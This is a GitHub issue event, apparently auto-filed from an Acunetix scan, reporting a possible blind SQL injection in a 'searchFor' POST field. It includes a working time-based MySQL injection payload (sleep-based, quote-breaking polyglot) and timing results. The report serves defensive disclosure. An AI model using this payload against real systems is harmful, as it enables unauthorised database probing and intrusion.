{"action":"opened","issue":{"url":"https://api.github.com/repos/jdbacx/test/issues/21","repository_url":"https://api.github.com/repos/jdbacx/test","labels_url":"https://api.github.com/repos/jdbacx/test/issues/21/labels{/name}","comments_url":"https://api.github.com/repos/jdbacx/test/issues/21/comments","events_url":"https://api.github.com/repos/jdbacx/test/issues/21/events","html_url":"https://github.com/jdbacx/test/issues/21","id":170444930,"number":21,"title":"Acunetix - Blind SQL Injection","user":{"login":"jdbacx","id":19711062,"avatar_url":"https://avatars.githubusercontent.com/u/19711062?v=3","gravatar_id":"","url":"https://api.github.com/users/jdbacx","html_url":"https://github.com/jdbacx","followers_url":"https://api.github.com/users/jdbacx/followers","following_url":"https://api.github.com/users/jdbacx/following{/other_user}","gists_url":"https://api.github.com/users/jdbacx/gists{/gist_id}","starred_url":"https://api.github.com/users/jdbacx/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jdbacx/subscriptions","organizations_url":"https://api.github.com/users/jdbacx/orgs","repos_url":"https://api.github.com/users/jdbacx/repos","events_url":"https://api.github.com/users/jdbacx/events{/privacy}","received_events_url":"https://api.github.com/users/jdbacx/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/jdbacx/test/labels/CWE-89","name":"CWE-89","color":"ededed"},{"url":"https://api.github.com/repos/jdbacx/test/labels/SQL_Injection","name":"SQL_Injection","color":"ededed"}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2016-08-10T15:22:40Z","updated_at":"2016-08-10T15:22:40Z","closed_at":null,"body":"\n##### Vulnerability Description\nThis script is possibly vulnerable to SQL Injection attacks.\n\n\nSQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters. \n \n This is one of the most common application layer attacks currently being used on the Internet.  Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.\n\n##### Attack Details\nURL encoded POST input **searchFor** was set to **if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'\"XOR(if(now()=sysdate(),sleep(0),0))OR\"*/**\n\n Tests performed:  \n     + if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'\"XOR(if(now()=sysdate(),sleep(3),0))OR\"*/ =&gt; **3.031**     + if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'\"XOR(if(now()=sysdate(),sleep(6),0))OR\"*/ =&gt; **6.031**     + if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'\"XOR(if(now()=sysdate(),sleep(9),0))OR\"*/ =&gt; **9.031**     + if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'\"XOR(if(now()=sysdate(),sleep(0),0))OR\"*/ =&gt; **0.031**     + if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'\"XOR(if(now()=sysdate(),sleep(0),0))OR\"*/ =&gt; **0.032**     + if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'\"XOR(if(now()=sysdate(),sleep(0),0))OR\"*/ =&gt; **0.032**     + if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'\"XOR(if(now()=sysdate(),sleep(0),0))OR\"*/ =&gt; **0.031**     + if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'\"XOR(if(now()=sysdate(),sleep(6),0))OR\"*/ =&gt; **6.032**     + if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'\"XOR(if(now()=sysdate(),sleep(0),0))OR\"*/ =&gt; **0.032**  \n \n\nOriginal value: **1**\n\n----\n\n##### References:\n[Acunetix SQL Injection Attack](http://www.acunetix.com/websitesecurity/sql-injection.htm)\n[VIDEO: SQL Injection tutorial](http://www.acunetix.com/blog/web-security-zone/video-sql-injection-tutorial/)\n[OWASP Injection Flaws](http://www.owasp.org/index.php/Injection_Flaws)\n[How to check for SQL injection vulnerabilities](http://www.acunetix.com/websitesecurity/sql-injection2/)\n[SQL Injection Walkthrough](http://www.securiteam.com/securityreviews/5DP0N1P76E.html)\n[OWASP PHP Top 5](http://www.owasp.org/index.php/PHP_Top_5)\n\n"}}
{"actor":{"display_login":"jdbacx"}}